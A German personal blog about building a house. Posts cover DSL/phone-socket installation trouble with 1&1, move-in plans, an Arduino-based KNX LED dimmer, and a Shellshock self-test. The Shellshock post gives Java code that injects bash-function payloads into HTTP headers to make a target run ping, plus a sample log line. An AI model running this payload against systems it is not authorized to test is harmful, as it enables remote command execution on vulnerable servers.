Das kann doch nicht so schwer sein …

Sollte man meinen, ja. Es geht um einen neuen DSL-Anschluss. Schließlich will man im neuen Eigenheim nicht „offline“ sein.

Gesagt getan. Telekom Bauherrenauskunft angerufen und gefragt wie das abläuft. Dort sagte man mir: Wenn die Telekom den DSL-Versorgungsauftrag bekommt, dann kommt da ein Techniker, setzt die erste TAE Telefondose und nimmt den Anschluss in Betrieb. „Und wenn die Telekom den Auftrag nicht bekommt, sondern ein anderer Provider?“. Dann kommt ein Techniker des anderen Providers, setzt die Dose und nimmt den Anschluss in Betrieb. Klingt einfach? Paah. Du hast wohl noch nie einen neuen DSL-Anschluss mit neuem Telefonanschluss beauftragt?!

Nun ja. Ich habe der Telekom erstmal geglaubt und bei 1&1 einen DSL-Anschluss beauftragt. Anfangs lief alles bestens. Prüfung ob ein Techniker überhaupt benötigt wird (ja, wird er), Daten zum Vormieter (gibt es nicht, da Neubau) etc. bla bla.

Einen Technikertermin habe ich jetzt schon. Der 11.12.2014. Zwischen 8:00 und 13:00. Mal schauen ob da tatsächlich einer erscheint.

Aber was lese ich da in der Email von 1&1?? Es gibt eine Checkliste die man durchgehen soll bevor der Techniker kommt. Punkt 1:1und1checkliste

Öhm? Telefondose? Hab ich doch keine. Den APL habe ich. Das mit dem „Falls der Techniker keinen Zugang erhält“ hat mich dann etwas irritiert. Nicht dass ich den Techniker bezahlen muss trotz dass der wieder abhaut weil er keinen Zugang zu der nicht existenten Telefondose hatte?!

Also nochmal auf der 1und1 Seite nachgelesen:

Übrigens: Ist eine Telefondose in Ihrer Wohnung defekt oder nicht vorhanden, ist der Anschalttechniker nicht verpflichtet, diese zu ersetzen oder zu reparieren. Bitte beauftragen Sie in diesem Fall einen Telekommunikationstechniker.

Ja wie denn nun? Die Telekom sagt sie installiert da nichts wenn sie nicht unter Vertrag genommen werden, und 1&1 will damit auch nix zu tun haben. Wer ist denn nun der passende Telekommunikationstechniker?

Also nochmal eine Email an 1&1 geschrieben und den Sachverhalt „nochmal“ erklärt. Also die Sache mit dem Neubau, dass ich Bauherr bin, und dass ich keine Telefondose habe und unklar ist wer denn nun diese Dose anschließt und vor allem wer sie mitbringt.

Die Antwort von 1&1 hat 5 Tage (inkl. Wochenende) gedauert. Die Antwort:

herzlichen Dank für Ihre E-Mail vom 19.11.2014. Wir möchten, dass Sie sich bei 1&1 wohl fühlen. Das ist uns bei Ihnen nicht gelungen. Ihren Ärger über die fehlende TAE-Dose verstehen wir gut und bitten Sie um Entschuldigung. Gerne erklären wir Ihnen den Zusammenhang.

In der Regel hat der Techniker vor Ort die Möglichkeit, die TAE-Dose zu setzen. Dies ist jedoch eine Kulanzentscheidung des Technikers und hängt davon ab, ob er Zeit hat. Grundsätzlich ist der Service-Techniker nicht für das Setzen einer zusätzlichen Telefonanschlussdose zuständig. Bitte wenden Sie sich hierfür an Ihre Hausverwaltung beziehungsweise Ihren Vermieter. Sollten Sie selbst Hauseigentümer sein, haben Sie die Möglichkeit, einen Elektriker für die Installation der gewünschten Telefonanschlussdose zu beauftragen.

Für die entstandenen Unannehmlichkeiten haben wir Ihnen ein Guthaben in Höhe von 40,- EUR hinterlegt. Bitte beachten Sie, dass das Guthaben erst in der übernächsten Rechnung verrechnet wird.

Wir wünschen uns, Sie als zufriedenen Kunden zu behalten.

Mit freundlichen Grüßen

Aha. Ich soll eine Elektriker beauftragen, der dann was genau macht? Den Job des Anschlusstechnikers? Na wenigstens gibt’s eine „Entschädigung für die Unannehmlichkeiten“.

Also Telefon geschnappt und da mal angerufen. Die Dame an der Supporthotline war sehr freundlich und hat sich selbst noch erkundigen müssen. Ergebnis:

Der Anschlusstechniker bringt keine Dose mit, aber wenn eine da ist, dann schließt er sie an. Und wenn keine da ist, dann ist es seine Sache ob er zufällig eine im Auto liegen hat und die dann verbaut.

Sprich: Habe ich keine Dose da, ist die Gefahr dass er ohne Anschluss wieder davon fährt groß.

Ich nehme mal an der Hinweis mit dem Elektriker ist für „Nicht Baumarkt-Gänger“: Die Rufen einen Elektriker an und lassen sich durch diesen eine Telefondose an die Wand dübeln.

Ich hab jetzt eine Telefondose besorgt und hab auch noch Telefonkabel da. Die Dose wird an die Wand gedübelt und ein Stück passendes Telefonkabel liegt dann auch bereit. Wenn der Techniker da dann nicht im Stande ist den Anschluss herzustellen, dann werde ich wohl zum Berserker an der 1&1 Supporthotline… 😉

„Vor Weihnachten …“

Der Titel dieses Beitrags ist gleichzeitig die Antwort auf die Frage „Wann wollt ihr einziehen?“.

Mehr oder weniger bewusst steht keine Jahreszahl vorbei. Aber es zeichnet sich ab, als ob der Wunsch DIESES Jahr vor Weihnachten einzuziehen in Erfüllung gehen wird.

Noch ist nicht alles fertig, und auch bei Einzug wird nicht alles fertig sein. Aber es wird gut und sauber bewohnbar sein.

Der aktuelle Stand der noch offenen Dinge: Weiterlesen

Shellshock: Der Test am eigenen System

Seit kurzer Zeit ist eine neue, wirklich schwerwiegende Sicherheitslücke bekannt geworden: Shellshock. Nachzulesen hier:

http://www.heise.de/newsticker/meldung/Bash-Luecke-ShellShock-ist-noch-nicht-ausgestanden-2403607.html

http://www.golem.de/news/bash-luecke-die-hintergruende-zu-shellshock-1409-109463.html

Da immer mehr Eigenheime über Remote-Zugriffe verfügen und diese per HTTP zu erreichen sind, stellt sich unweigerlich die Frage: Ist mein System sicher? Wie teste ich das?

Wer mit Java vertraut ist kann dieses Beispiel hier benutzen (gibt sicher noch andere Wege):

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection; 

public class ShellShockTest {
 
 public static void main(String[] args) throws Exception {
 URL url = new URL("http://<zutestenderserver>");
 URLConnection conn = url.openConnection();
 conn.setRequestProperty("User-Agent", "shellshock-scan (<deinname>)");
 conn.setRequestProperty("banners", "true");
 conn.setRequestProperty("Cookie", "() { :; }; ping -1 3 <serverfürpingfeedback>");
 conn.setRequestProperty("Host", "() { :; }; ping -c 1 <serverfürpingfeedback>");
 conn.setRequestProperty("Referer", "() { :; }; ping -c 1 <serverfürpingfeedback>");
 BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
 String inputLine;
 while ((inputLine = in.readLine()) != null)
   System.out.println(inputLine);
 in.close();
 }
 
}

Ersetze „<zutestenderserver>“ mit dem Namen des Zielsystems.

Damit Du Deinen eigenen Test in den Logfiles identifizieren kannst, ersetze noch „<deinname>“ durch Deinen Namen.

Um zu sehen ob das Zielsystem anfällig ist, wird versucht ein Ping auf ein anderes System auszuführen. Hier solltest du „<serverfürpingfeedback>“ mit einem

  1. im Internet direkt erreichbaren System
  2. für dich einsehbares System

ersetzt werden.

Code übersetzen, ausführen und gleichzeitig die Webserver Accesslog-Datei im Auge behalten, sowie auf dem „<serverfürpingfeedback>“ System ein Netzwerktrace auf ICMP Ebene durchführen (wireshark, tcpdump, …).

Im Webserver-Logile wirst du nun den HTTP Request sehen. Sieht bei mir z.B. so aus:

1.2.3.4 - - [26/Sep/2014:10:20:56 +0200] "GET / HTTP/1.1" 200 467 "() { :; }; ping -c 3 4.3.2.1" "shellshock-scan (huhu)"

1.2.3.4 ist das zu testende System, und 4.3.2.1 ist das System für die Ping-Rückmeldung.

Wenn im Netzwerktrace dann ein ICMP Request von 1.2.3.4 auftaucht, dann ist das System über Apache anfällig. Ist das nicht der Fall, bist du erstmal fein raus.

Debian und Ubuntu nutzen übrigens nicht Bash, sondern Dash per Default. Das macht die Sache „etwas“ sicherer. Aber eben nicht „ganz sicher“.

Nichts desto trotz: Sicherstellen dass alle verfügbaren Updates eingespielt wurden….

Das erste Ergebnis der China-Bestellung

Mittlerweile sind nun alle Teile aus China für meinen Selbstbau-Dimmer eingetroffen. Ergänzt habe ich es noch um ein paar Teile von Reichelt.

Bereits nach wenigen Minuten konnte ich mit dem Arduino einen 3m LED Streifen stufenlos dimmen. Super Sache.

https://www.youtube.com/watch?v=F8a99YWbdA4

 

Der MOSFET der die LEDs mit PWM beschaltet lächelt übrigens hinsichtlich der Belastung von fast 24 Watt. Von Abwärme absolut keine Spur. Da ist also noch ordentlich Luft nach oben.

Jetzt dann noch das gleiche mit KNX:

Also den Siemens Busankoppler angezapft, den Code ein bisschen erweitert und schon klappt’s auch über KNX:

https://www.youtube.com/watch?v=ajvleXMCRoI

Ich war nur zu faul das Zimmerlicht an zu schalten. So hat die Kamera versucht die Überbelichtung durch abdunkeln abzufangen. Hat sie auch geschafft, mit dem Ergebnis dass man das Dimmverhalten nicht ganz so toll sieht.

Jetzt heißt es die Software aufbohren und auf 7 statt 1 Kanäle erweitern, sowie die ganzen tollen Features die ich mir von einem Dimmer Wünsche zu implementieren. Zum Bleistift einen Sonnenaufgang/-Untergang-Modus. Könnte hilfreich sein wenn man Nachwuchs hat der im dunkeln nicht einschlafen kann 😉

Wohnraumbeleuchtung mit LED

Nach einer Diskussion im KNX User Forum über die Kosten/Nutzen-Rechnung von LED-Beleuchtung hatte ich mich dort auch zu Wort gemeldet und meine „Low-Cost“ Variante vorgestellt. Darauf hin gab es einige Anfragen wie ich das nun umgesetzt habe. Damit ich das nicht 5x erzählen muss, hier nun ein umfassender Artikel zu diesem Thema.

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Von den Tropen in die Sahara

Vom ursprünglichen tropischen Klima nach dem einbringen des Estrichs sind wir mittlerweile beim Sahara-Klima angelangt. Heute Morgen sahen die Thermometer wie folgt aus:26.08.14 - 2 IMG_20140826_071525

Die Wärmepumpe läuft und läuft und läuft. Anfangs hatten wir noch ein Sole-Vorlauf-Rücklauf-Delta von ca. 5-6°C. Die Vorlauftemperatur lag bei ca. 7°C, die Rücklauftemperatur bei ca. 12°C. Weiterlesen

Teile aus China [UPDATE]

Während der Estrich trocknet, wird weiter geplant und organisiert. So fehlt zum aktuellen Zeitpunkt z.B. die Technik um das Licht im Dachgeschoss schalten bzw. dimmen zu können. Grund: Ich hatte bis dato weder Lust noch Geld teure KNX Dimmer zu kaufen die nicht genug Leistung haben um meine LED-Beleuchtung im Dachgeschoss ansteuern zu können.

Der Bilton KNX REG Dimmer den ich zwei-fach im Elektroverteiler verbaut habe hat 4 Kanäle und kann pro Kanal 4A. Das Teil kostet mich aktuell rund 213EUR. Damit liegt ein Dimmer-Kanal bei rund 53EUR. Im Dachgeschoss hab ich 4 Zimmer, Bad und Flur. Der Flur wird über die bestehenden Dimmer gesteuert. Der Rest im Dachgeschoss ist noch nicht angebunden.

Teilweise komm ich bei den Zimmern auf einen Strombedarf von etwas über 4A, womit ich dann nicht nur einen Kanal pro Zimmer, sondern zwei bräuchte. Oder ich muss den einen oder anderen Dimmerkanal mit einem „LED PWM Verstärker“ (z.B. sowas hier) betreiben. Aber das ist es auch schwer etwas brauchbares mit mehr als 4A zu finden.

Die Lösung scheint mal wieder das KNX User Forum zu sein. Dort gibt es eine DoItYourself (DIY) Ecke, die das Thema Arduino am KNX behandelt. Prima Sache. Die Idee:

Man nehme einen handelsüblichen Arduino Mikrocontroller, verbinde diesen mit einem KNX Busankoppler und schon hat man eine beinahe Eierlegende-KNX-Wollmilchsau mit der man quasi alles machen kann.

Meine Variante sieht wie folgt aus:

Ein Arduino Leonardo hat 7 PWM Ausgänge. An diese kommen Logik-MOSFETs die ordentlich Last schalten können. 4A sollten da kein Problem sein. Mit einem Kühlkörper sollten auch mehr als 4A kein wirkliches Problem sein. Und schon hat man einen 7-Kanal LED PWM Dimmer der auch mir mehr als 4A pro Kanal umgehen kann.

Um nun aber auf den Titel dieses Artikels zurück zu kommen: Es geht mal wieder um’s Preise vergleichen. Ein Arduino Leonardo kostet „bei uns“ irgendwas um 20..25EUR. Ggf. findet man diesen auch mal günstiger, vielleicht für 15EUR. Aber es geht auch noch günstiger: aliexpress.com ist eine Handelsplattform auf der sich beinahe ausnahmslos asiatische, aber überwiegend chinesische Hersteller und Lieferanten tummeln. Viele Kleinteile (nicht nur Elektronik) findet man dort zum kleinen Preis. So auch die von mir benötigten Teile:

Die meisten Händler bieten „Free Shipping“, also kostenlosen Versand an. Einziger Nachteil: Der Versand dauert zwischen 15 und 34 Tagen. Wen das nicht stört der kann dort günstig einkaufen.

Alles in allem hab ich, bis auf den Busankoppler und ein Gehäuse, dort bei sieben Händlern wirklich alles bestellt was ich für einen 7-Kanal >4A/Kanal PWM Dimmer brauche. Und das für nur etwas mehr als 30EUR. Der Busankoppler kommt mit Versand nochmal mit rund 30EUR daher. Das Gehäuse wird mich nochmal um die 10EUR kosten. Damit bin ich dann bei rund 70..80EUR.

Würde ich das mit fertigen KNX Komponenten lösen wollen, müsste ich um die 350EUR hinlegen.

Nun. Jetzt mag man meinen „Ja, aber das ist doch nur gebastel… Will und kann man sich auf soetwas verlassen?“… Naja. Sagen wir es so:

  1. Andere haben die Arduino-KNX Lösung schon länger fehlerfrei laufen. Zwar nicht unbedingt als Dimmer, aber für andere Dinge.
  2. Es geht um die Beleuchtung im „sekundären Teil“ im Haus, das Dachgeschoss. Sollte sich die Lösung doch noch als „untauglich“ oder unzuverlässig herausstellen, so kann ich immer noch auf eine fertige Lösung zurückgreifen. „In den Sand gesetzt“ hab ich dann schlimmstenfalls 80EUR. Die jedoch mögliche Kostenersparnis von 350EUR-80EUR=270EUR lässt mich dieses Risiko eingehen. Der primäre Teil des Hauses läuft weiterhin mit fertigen/geprüften Komponenten.

Und wenn das gut funktioniert, dann wird die Garage ebenfalls mit dem einen oder anderen Gimmick „gepimpt“: Garagenlichtsteuerung, Garagentor-Steuerung und Positionsrückmeldung, Außenlichtsteuerung, sowie Steuerung der Garagentür (elektrisch abschließbar). Wird hier sicher auch nochmal 300EUR sparen…

[UPDATE] Bezüglich Zoll: Bis 22,50EUR + Versand zahlt man weder Steuer noch Zoll. Bis 150EUR zahlt man lediglich 19% Einfuhrumsatzsteuer. Da ich bei sieben Händlern bestellt hab liegt der Einzel-Preis deutlich unter 22,50EUR. Versand ist bei den von mir ausgesuchten Händlern kostenlos. 

Fensterkontakte in der Terrassentür

Unser Häuschen bekommt ja eine gewisse Intelligenz verpasst: Wird es im Wohn/Essbereich zu warm weil von draußen die Sonne rein scheint, sollen die Jalousien herunter fahren. Da wir aber auf der West-Seite auch unsere Terrassentür haben, darf die Jalousieautomatik uns weder aussperren, noch uns den Weg nach draußen verwähren. Sprich: Ist die Terrassentür nicht verriegelt, muss die Automatik aussetzen. Weiterlesen